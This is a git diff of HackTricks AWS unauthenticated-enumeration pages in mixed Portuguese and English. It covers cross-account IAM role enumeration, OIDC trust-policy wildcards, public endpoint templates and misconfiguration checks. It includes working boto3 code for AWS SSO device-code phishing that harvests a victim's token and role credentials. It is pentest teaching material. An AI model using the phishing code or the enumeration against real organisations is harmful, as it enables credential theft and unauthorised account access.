+../../aws-services/aws-ecs-enum.md
+{{#endref}}
+
+### Security Group ou Load Balancer publicamente acessível para serviços do ECS
+
+Um security group mal configurado que **permite tráfego de entrada da internet (0.0.0.0/0 ou ::/0)** para os serviços do Amazon ECS pode expor os recursos da AWS a ataques.
+```bash
+# Example of detecting misconfigured security group for ECS services
+aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?contains(IpRanges[].CidrIp, `0.0.0.0/0`) || contains(Ipv6Ranges[].CidrIpv6, `::/0`)]]'
+
+# Example of detecting a publicly accessible load balancer for ECS services
+aws elbv2 describe-load-balancers --query 'LoadBalancers[?Scheme == `internet-facing`]'
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md
deleted file mode 100644
index d266ce340..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md
+++ /dev/null
@@ -1,35 +0,0 @@
-# AWS - Elastic Beanstalk Unauthenticated Enum
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Elastic Beanstalk
-
-Para mais informações, consulte:
-
-{{#ref}}
-../aws-services/aws-elastic-beanstalk-enum.md
-{{#endref}}
-
-### Vulnerabilidade Web
-
-Note que, por padrão, os ambientes Beanstalk têm o **Metadatav1 desativado**.
-
-O formato das páginas da web do Beanstalk é **`https://<webapp-name>-env.<region>.elasticbeanstalk.com/`**
-
-### Regras de Grupo de Segurança Inseguras
-
-Regras de grupo de segurança mal configuradas podem expor instâncias do Elastic Beanstalk ao público. **Regras de entrada excessivamente permissivas, como permitir tráfego de qualquer endereço IP (0.0.0.0/0) em portas sensíveis, podem permitir que atacantes acessem a instância**.
-
-### Balanceador de Carga Acessível Publicamente
-
-Se um ambiente do Elastic Beanstalk usar um balanceador de carga e o balanceador de carga estiver configurado para ser acessível publicamente, os atacantes podem **enviar solicitações diretamente para o balanceador de carga**. Embora isso possa não ser um problema para aplicativos da web destinados a serem acessíveis publicamente, pode ser um problema para aplicativos ou ambientes privados.
-
-### Buckets S3 Acessíveis Publicamente
-
-Aplicações do Elastic Beanstalk são frequentemente armazenadas em buckets S3 antes da implantação. Se o bucket S3 contendo a aplicação for acessível publicamente, um atacante pode **baixar o código da aplicação e procurar por vulnerabilidades ou informações sensíveis**.
-
-### Enumerar Ambientes Públicos
-```bash
-aws elasticbeanstalk describe-environments --query 'Environments[?OptionSettings[?OptionName==`aws:elbv2:listener:80:defaultProcess` && contains(OptionValue, `redirect`)]].{EnvironmentName:EnvironmentName, ApplicationName:ApplicationName, Status:Status}' --output table
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum/README.md
new file mode 100644
index 000000000..7d928a59b
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum/README.md
@@ -0,0 +1,35 @@
+# AWS - Elastic Beanstalk Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Elastic Beanstalk
+
+For more information check:
+
+{{#ref}}
+../../aws-services/aws-elastic-beanstalk-enum.md
+{{#endref}}
+
+### Vulnerabilidade Web
+
+Observe que por padrão os ambientes do Elastic Beanstalk têm o **Metadatav1 desabilitado**.
+
+O formato das páginas web do Beanstalk é **`https://<webapp-name>-env.<region>.elasticbeanstalk.com/`**
+
+### Insecure Security Group Rules
+
+Regras de Security Group mal configuradas podem expor instâncias do Elastic Beanstalk ao público. **Regras de ingress excessivamente permissivas, como permitir tráfego de qualquer endereço IP (0.0.0.0/0) em portas sensíveis, podem permitir que atacantes acessem a instância**.
+
+### Publicly Accessible Load Balancer
+
+Se um ambiente do Elastic Beanstalk usa um load balancer e este está configurado como publicamente acessível, atacantes podem **enviar requisições diretamente para o load balancer**. Embora isso possa não ser um problema para aplicações web projetadas para serem publicamente acessíveis, pode ser um problema para aplicações ou ambientes privados.
+
+### Publicly Accessible S3 Buckets
+
+Aplicações do Elastic Beanstalk frequentemente são armazenadas em S3 buckets antes do deploy. Se o S3 bucket que contém a aplicação for publicamente acessível, um atacante poderia **baixar o código da aplicação e procurar por vulnerabilidades ou informações sensíveis**.
+
+### Enumerar ambientes públicos
+```bash
+aws elasticbeanstalk describe-environments --query 'Environments[?OptionSettings[?OptionName==`aws:elbv2:listener:80:defaultProcess` && contains(OptionValue, `redirect`)]].{EnvironmentName:EnvironmentName, ApplicationName:ApplicationName, Status:Status}' --output table
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum/README.md
similarity index 65%
rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md
rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum/README.md
index 3574f1f59..1099b5044 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum/README.md
@@ -1,10 +1,10 @@
 # AWS - Elasticsearch Unauthenticated Enum
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ### Modelo de URL pública
 ```
 https://vpc-{user_provided}-[random].[region].es.amazonaws.com
 https://search-{user_provided}-[random].[region].es.amazonaws.com
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md
similarity index 52%
rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md
rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md
index f1e338291..b7fc56393 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md
@@ -1,13 +1,13 @@
-# AWS - IAM & STS Enum Não Autenticado
+# AWS - IAM & STS Unauthenticated Enum
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
-## Enumerar Funções e Nomes de Usuários em uma conta
+## Enumerar Roles & Usernames em uma conta
 
-### ~~Força Bruta para Assumir Função~~
+### ~~Assume Role Brute-Force~~
 
 > [!CAUTION]
-> **Esta técnica não funciona** mais, pois se a função existe ou não, você sempre recebe este erro:
+> **Esta técnica não funciona mais** pois, quer a role exista ou não, você sempre recebe este erro:
 >
 > `An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas`
 >
@@ -15,24 +15,24 @@
 >
 > `aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example`
 
-Tentar **assumir uma função sem as permissões necessárias** aciona uma mensagem de erro da AWS. Por exemplo, se não autorizado, a AWS pode retornar:
+Tentar **assumir uma role sem as permissões necessárias** dispara uma mensagem de erro da AWS. Por exemplo, se não autorizado, a AWS pode retornar:
 ```ruby
 An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS
 ```
-Esta mensagem confirma a existência do papel, mas indica que sua política de assunção de papel não permite sua assunção. Em contraste, tentar **assumir um papel inexistente leva a um erro diferente**:
+Esta mensagem confirma a existência da função, mas indica que a sua política de assumir a função não permite que você a assuma. Em contraste, tentar **assumir uma função inexistente leva a um erro diferente**:
 ```less
 An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole
 ```
-Interessantemente, este método de **distinguir entre funções existentes e não existentes** é aplicável mesmo entre diferentes contas AWS. Com um ID de conta AWS válido e uma lista de palavras-alvo, é possível enumerar as funções presentes na conta sem enfrentar limitações inerentes.
+Interessantemente, este método de **distinguir entre roles existentes e não existentes** é aplicável mesmo entre diferentes contas AWS. Com um ID de conta AWS válido e uma wordlist direcionada, é possível enumerar os roles presentes na conta sem enfrentar limitações inerentes.
 
-Você pode usar este [script para enumerar potenciais principais](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) abusando desse problema.
+You can use this [script to enumerate potential principals](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) abusing this issue.
 
-### Políticas de Confiança: Força Bruta de funções e usuários entre contas
+### Trust Policies: Brute-Force Cross Account roles and users
 
-Configurar ou atualizar a **política de confiança de uma função IAM envolve definir quais recursos ou serviços AWS estão autorizados a assumir essa função** e obter credenciais temporárias. Se o recurso especificado na política **existe**, a política de confiança é salva **com sucesso**. No entanto, se o recurso **não existe**, um **erro é gerado**, indicando que um principal inválido foi fornecido.
+Configurar ou atualizar a **trust policy de uma role do IAM envolve definir quais recursos ou serviços AWS têm permissão para assumir essa role** e obter credenciais temporárias. Se o recurso especificado na política **existe**, a trust policy é salva **com sucesso**. Contudo, se o recurso **não existe**, um **erro é gerado**, indicando que um principal inválido foi fornecido.
 
 > [!WARNING]
-> Note que nesse recurso você poderia especificar uma função ou usuário entre contas:
+> Observe que, nesse recurso, você pode especificar uma role ou user de outra conta:
 >
 > - `arn:aws:iam::acc_id:role/role_name`
 > - `arn:aws:iam::acc_id:user/user_name`
@@ -54,7 +54,7 @@ Este é um exemplo de política:
 ```
 #### GUI
 
-Esse é o **erro** que você encontrará se usar uma **função que não existe**. Se a função **existir**, a política será **salva** sem erros. (O erro é para atualização, mas também funciona ao criar)
+Esse é o **erro** que você encontrará se usar uma **role que não existe**. Se a role **existir**, a policy será **salva** sem quaisquer erros. (O erro ocorre ao atualizar, mas também acontece ao criar)
 
 ![](<../../../images/image (153).png>)
 
@@ -95,15 +95,15 @@ Você pode automatizar esse processo com [https://github.com/carlospolop/aws_too
 
 - `bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt`
 
-Usando [Pacu](https://github.com/RhinoSecurityLabs/pacu):
+Ou usando [Pacu](https://github.com/RhinoSecurityLabs/pacu):
 
 - `run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt`
 - `run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt`
-- O papel `admin` usado no exemplo é um **papel na sua conta que pode ser impersonado** pelo pacu para criar as políticas que ele precisa para a enumeração
+- O `admin` role usado no exemplo é um **role na sua conta a ser assumido** pelo pacu para criar as políticas necessárias para a enumeração
 
 ### Privesc
 
-No caso de o papel estar mal configurado e permitir que qualquer um o assuma:
+No caso o role esteja mal configurado e permita que qualquer um o assuma:
 ```json
 {
 "Version": "2012-10-17",
@@ -122,8 +122,8 @@ O atacante poderia simplesmente assumir isso.
 
 ## Federação OIDC de Terceiros
 
-Imagine que você consiga ler um **fluxo de trabalho do Github Actions** que está acessando um **papel** dentro da **AWS**.\
-Essa confiança pode dar acesso a um papel com a seguinte **política de confiança**:
+Imagine que você consiga ler um **Github Actions workflow** que está acessando um **role** dentro do **AWS**.\
+Essa confiança pode dar acesso a um **role** com a seguinte **política de confiança**:
 ```json
 {
 "Version": "2012-10-17",
@@ -143,20 +143,20 @@ Essa confiança pode dar acesso a um papel com a seguinte **política de confian
 ]
 }
 ```
-Esta política de confiança pode estar correta, mas a **falta de mais condições** deve fazer você desconfiar dela.\
-Isso ocorre porque o papel anterior pode ser assumido por **QUALQUER UM do Github Actions**! Você deve especificar nas condições também outras coisas, como nome da org, nome do repositório, env, brach...
+Esta política de confiança pode estar correta, mas a **falta de mais condições** deve fazê-lo desconfiar dela.\
+Isso porque a role anterior pode ser assumida por **QUALQUER PESSOA do Github Actions**! Você deve especificar nas condições também outras coisas, como org name, repo name, env, brach...
 
-Outra possível má configuração é **adicionar uma condição** como a seguinte:
+Outra misconfiguração potencial é **adicionar uma condição** como a seguinte:
 ```json
 "StringLike": {
 "token.actions.githubusercontent.com:sub": "repo:org_name*:*"
 }
 ```
-Note que **wildcard** (\*) antes do **dois-pontos** (:). Você pode criar uma org como **org_name1** e **assumir o papel** a partir de uma Ação do Github.
+Observe que o **wildcard** (\*) vem antes do **colon** (:). Você pode criar uma org como **org_name1** e **assume the role** a partir de uma Github Action.
 
 ## Referências
 
 - [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
 - [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/)
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md
deleted file mode 100644
index 2dbfbffce..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md
+++ /dev/null
@@ -1,123 +0,0 @@
-# AWS - Identity Center & SSO Enum Não Autenticado
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Phishing de Código de Dispositivo AWS
-
-Inicialmente proposto em [**este post do blog**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), é possível enviar um **link** para um usuário usando AWS SSO que, se o **usuário aceitar**, o atacante poderá obter um **token para se passar pelo usuário** e acessar todos os papéis que o usuário pode acessar no **Identity Center**.
-
-Para realizar esse ataque, os requisitos são:
-
-- A vítima precisa usar o **Identity Center**
-- O atacante deve conhecer o **subdomínio** usado pela vítima `<victimsub>.awsapps.com/start`
-
-Apenas com as informações anteriores, o **atacante poderá enviar um link para o usuário** que, se **aceito**, concederá ao **atacante acesso à conta** do usuário AWS.
-
-### Ataque
-
-1. **Encontrando o subdomínio**
-
-O primeiro passo do atacante é descobrir o subdomínio que a empresa da vítima está usando em seu Identity Center. Isso pode ser feito via **OSINT** ou **adivinhação + BF**, já que a maioria das empresas usará seu nome ou uma variação de seu nome aqui.
-
-Com essa informação, é possível obter a região onde o Identity Center foi configurado:
-```bash
-curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
-"region":"us-east-1
-```
-2. **Gere o link para a vítima & Envie-o**
-
-Execute o seguinte código para gerar um link de login do AWS SSO para que a vítima possa se autenticar.\
-Para a demonstração, execute este código em um console Python e não saia dele, pois mais tarde você precisará de alguns objetos para obter o token:
-```python
-import boto3
-
-REGION = 'us-east-1' # CHANGE THIS
-AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS
-
-sso_oidc = boto3.client('sso-oidc', region_name=REGION)
-client = sso_oidc.register_client(
-clientName = 'attacker',
-clientType = 'public'
-)
-
-client_id = client.get('clientId')
-client_secret = client.get('clientSecret')
-authz = sso_oidc.start_device_authorization(
-clientId=client_id,
-clientSecret=client_secret,
-startUrl=AWS_SSO_START_URL
-)
-
-url = authz.get('verificationUriComplete')
-deviceCode = authz.get('deviceCode')
-print("Give this URL to the victim: " + url)
-```
-Envie o link gerado para a vítima usando suas incríveis habilidades de engenharia social!
-
-3. **Espere até que a vítima aceite**
-
-Se a vítima já estava **conectada no AWS**, ela só precisará aceitar a concessão das permissões; se não estava, precisará **fazer login e então aceitar a concessão das permissões**.\
-Assim é como o prompt aparece atualmente:
-
-<figure><img src="../../../images/image (343).png" alt="" width="311"><figcaption></figcaption></figure>
-
-4. **Obtenha o token de acesso SSO**
-
-Se a vítima aceitou o prompt, execute este código para **gerar um token SSO se passando pelo usuário**:
-```python
-token_response = sso_oidc.create_token(
-clientId=client_id,
-clientSecret=client_secret,
-grantType="urn:ietf:params:oauth:grant-type:device_code",
-deviceCode=deviceCode
-)
-sso_token = token_response.get('accessToken')
-```
-O token de acesso SSO é **válido por 8h**.
-
-5. **Imitar o usuário**
-```python
-sso_client = boto3.client('sso', region_name=REGION)
-
-# List accounts where the user has access
-aws_accounts_response = sso_client.list_accounts(
-accessToken=sso_token,
-maxResults=100
-)
-aws_accounts_response.get('accountList', [])
-
-# Get roles inside an account
-roles_response = sso_client.list_account_roles(
-accessToken=sso_token,
-accountId=<account_id>
-)
-roles_response.get('roleList', [])
-
-# Get credentials over a role
-
-sts_creds = sso_client.get_role_credentials(
-accessToken=sso_token,
-roleName=<role_name>,
-accountId=<account_id>
-)
-sts_creds.get('roleCredentials')
-```
-### Phishing do MFA inphishável
-
-É interessante saber que o ataque anterior **funciona mesmo se um "MFA inphishável" (webAuth) estiver sendo usado**. Isso ocorre porque o **fluxo de trabalho anterior nunca sai do domínio OAuth utilizado**. Diferente de outros ataques de phishing onde o usuário precisa substituir o domínio de login, no caso, o fluxo de código do dispositivo é preparado para que um **código seja conhecido por um dispositivo** e o usuário possa fazer login mesmo em uma máquina diferente. Se o prompt for aceito, o dispositivo, apenas por **conhecer o código inicial**, será capaz de **recuperar credenciais** para o usuário.
-
-Para mais informações sobre isso [**ver este post**](https://mjg59.dreamwidth.org/62175.html).
-
-### Ferramentas Automáticas
-
-- [https://github.com/christophetd/aws-sso-device-code-authentication](https://github.com/christophetd/aws-sso-device-code-authentication)
-- [https://github.com/sebastian-mora/awsssome_phish](https://github.com/sebastian-mora/awsssome_phish)
-
-## Referências
-
-- [https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/)
-- [https://ruse.tech/blogs/aws-sso-phishing](https://ruse.tech/blogs/aws-sso-phishing)
-- [https://mjg59.dreamwidth.org/62175.html](https://mjg59.dreamwidth.org/62175.html)
-- [https://ramimac.me/aws-device-auth](https://ramimac.me/aws-device-auth)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md
new file mode 100644
index 000000000..8f51b74d5
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md
@@ -0,0 +1,123 @@
+# AWS - Identity Center & SSO Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## AWS Device Code Phishing
+
+Initially proposed in [**this blog post**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), it's possible to send a **link** to a user using AWS SSO that if the **user accepts** the attacker will be able to get a **token to impersonate the user** and access all the roles the user is able to access in the **Identity Center**.
+
+In order to perform this attack the requisites are:
+
+- The victim needs to use **Identity Center**
+- The attacker must know the **subdomain** used by the victim `<victimsub>.awsapps.com/start`
+
+Just with the previous info, the **attacker will be able to send a link to the user** that if **accepted** will grant the **attacker access over the AWS user** account.
+
+### Attack
+
+1. **Finding the subdomain**
+
+The first step of the attacker is to find out the subdomain the victim company is using in their Identity Center. This can be done via **OSINT** or **guessing + BF** as most companies will be using their name or a variation of their name here.
+
+With this info, it's possible to get the region where the Indentity Center was configured with:
+```bash
+curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
+"region":"us-east-1
+```
+2. **Gerar o link para a vítima & Enviar**
+
+Execute o código abaixo para gerar um link de login do AWS SSO para que a vítima possa se autenticar.\\
+Para a demo, execute este código em um console python e não saia dele, pois mais tarde você precisará de alguns objetos para obter o token:
+```python
+import boto3
+
+REGION = 'us-east-1' # CHANGE THIS
+AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS
+
+sso_oidc = boto3.client('sso-oidc', region_name=REGION)
+client = sso_oidc.register_client(
+clientName = 'attacker',
+clientType = 'public'
+)
+
+client_id = client.get('clientId')
+client_secret = client.get('clientSecret')
+authz = sso_oidc.start_device_authorization(
+clientId=client_id,
+clientSecret=client_secret,
+startUrl=AWS_SSO_START_URL
+)
+
+url = authz.get('verificationUriComplete')
+deviceCode = authz.get('deviceCode')
+print("Give this URL to the victim: " + url)
+```
+Envie o link gerado para a vítima usando suas incríveis habilidades de engenharia social!
+
+3. **Espere até a vítima aceitar**
+
+Se a vítima já estivesse **logada na AWS**, ela só precisará aceitar a concessão das permissões; se não estivesse, ela precisará **fazer login e então aceitar a concessão das permissões**.\
+É assim que o prompt aparece hoje em dia:
+
+<figure><img src="../../../images/image (343).png" alt="" width="311"><figcaption></figcaption></figure>
+
+4. **Obter SSO access token**
+
+Se a vítima aceitou o prompt, execute este código para **gerar um SSO token assumindo a identidade do usuário**:
+```python
+token_response = sso_oidc.create_token(
+clientId=client_id,
+clientSecret=client_secret,
+grantType="urn:ietf:params:oauth:grant-type:device_code",
+deviceCode=deviceCode
+)
+sso_token = token_response.get('accessToken')
+```
+O SSO access token é **válido por 8h**.
+
+5. **Passar-se pelo usuário**
+```python
+sso_client = boto3.client('sso', region_name=REGION)
+
+# List accounts where the user has access
+aws_accounts_response = sso_client.list_accounts(
+accessToken=sso_token,
+maxResults=100
+)
+aws_accounts_response.get('accountList', [])
+
+# Get roles inside an account
+roles_response = sso_client.list_account_roles(
+accessToken=sso_token,
+accountId=<account_id>
+)
+roles_response.get('roleList', [])
+
+# Get credentials over a role
+
+sts_creds = sso_client.get_role_credentials(
+accessToken=sso_token,
+roleName=<role_name>,
+accountId=<account_id>
+)
+sts_creds.get('roleCredentials')
+```
+### Phishing do unphisable MFA
+
+É interessante saber que o ataque anterior **funciona mesmo se um "unphisable MFA" (webAuth) estiver sendo usado**. Isso ocorre porque o **fluxo de trabalho anterior nunca sai do domínio OAuth usado**. Ao contrário de outros ataques de phishing em que o usuário precisa suplantar o domínio de login, neste caso o fluxo de código de dispositivo (device code workflow) é preparado de modo que um **código seja conhecido por um dispositivo** e o usuário possa fazer login mesmo em outra máquina. Se o prompt for aceito, o dispositivo, apenas por **conhecer o código inicial**, será capaz de **recuperar as credenciais** do usuário.
+
+Para mais informações sobre isso [**veja este post**](https://mjg59.dreamwidth.org/62175.html).
+
+### Ferramentas Automáticas
+
+- [https://github.com/christophetd/aws-sso-device-code-authentication](https://github.com/christophetd/aws-sso-device-code-authentication)
+- [https://github.com/sebastian-mora/awsssome_phish](https://github.com/sebastian-mora/awsssome_phish)
+
+## Referências
+
+- [https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/)
+- [https://ruse.tech/blogs/aws-sso-phishing](https://ruse.tech/blogs/aws-sso-phishing)
+- [https://mjg59.dreamwidth.org/62175.html](https://mjg59.dreamwidth.org/62175.html)
+- [https://ramimac.me/aws-device-auth](https://ramimac.me/aws-device-auth)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md
deleted file mode 100644
index ad06f9240..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md
+++ /dev/null
@@ -1,11 +0,0 @@
-# AWS - IoT Enum Não Autenticado
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-### Modelo de URL Pública
-```
-mqtt://{random_id}.iot.{region}.amazonaws.com:8883
-https://{random_id}.iot.{region}.amazonaws.com:8443
-https://{random_id}.iot.{region}.amazonaws.com:443
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum/README.md
new file mode 100644
index 000000000..c9c47d779
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum/README.md
@@ -0,0 +1,11 @@
+# AWS - IoT Enumeração Não Autenticada
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### Modelo de URL pública
+```
+mqtt://{random_id}.iot.{region}.amazonaws.com:8883
+https://{random_id}.iot.{region}.amazonaws.com:8443
+https://{random_id}.iot.{region}.amazonaws.com:443
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum/README.md
similarity index 54%
rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md
rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum/README.md
index 2de44ec12..3e98c7210 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum/README.md
@@ -1,9 +1,9 @@
 # AWS - Kinesis Video Unauthenticated Enum
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ### Modelo de URL pública
 ```
 https://{random_id}.kinesisvideo.{region}.amazonaws.com
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md
deleted file mode 100644
index 008f6df66..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md
+++ /dev/null
@@ -1,20 +0,0 @@
-# AWS - Acesso Não Autenticado ao Lambda
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## URL de Função Pública
-
-É possível relacionar um **Lambda** com uma **URL de função pública** que qualquer um pode acessar. Ela pode conter vulnerabilidades na web.
-
-### Modelo de URL Pública
-```
-https://{random_id}.lambda-url.{region}.on.aws/
-```
-### Obter ID da Conta a partir da URL pública do Lambda
-
-Assim como com buckets S3, Data Exchange e gateways de API, é possível encontrar o ID da conta de uma conta abusando da **`aws:ResourceAccount`** **Policy Condition Key** a partir de uma URL pública do lambda. Isso é feito encontrando o ID da conta um caractere de cada vez, abusando de curingas na seção **`aws:ResourceAccount`** da política.\
-Essa técnica também permite obter **valores de tags** se você souber a chave da tag (existem algumas interessantes por padrão).
-
-Você pode encontrar mais informações na [**pesquisa original**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) e na ferramenta [**conditional-love**](https://github.com/plerionhq/conditional-love/) para automatizar essa exploração.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md
new file mode 100644
index 000000000..1932fddb0
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md
@@ -0,0 +1,20 @@
+# AWS - Lambda Acesso Não Autenticado
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## URL de Função Pública
+
+É possível associar uma **Lambda** a uma **URL de Função Pública** que qualquer pessoa pode acessar. Ela pode conter vulnerabilidades web.
+
+### Public URL template
+```
+https://{random_id}.lambda-url.{region}.on.aws/
+```
+### Obter o ID da conta a partir de uma URL pública do Lambda
+
+Assim como com S3 buckets, Data Exchange e API gateways, é possível encontrar o ID da conta abusando da **`aws:ResourceAccount`** **Policy Condition Key** a partir de uma URL pública do Lambda. Isso é feito encontrando o ID da conta um caractere por vez, abusando de wildcards na seção **`aws:ResourceAccount`** da policy.\
+Essa técnica também permite obter **valores das tags** se você conhece a chave da tag (existem algumas tags padrão interessantes).
+
+Você pode encontrar mais informações na [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) e na ferramenta [**conditional-love**](https://github.com/plerionhq/conditional-love/) para automatizar essa exploração.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum/README.md
similarity index 53%
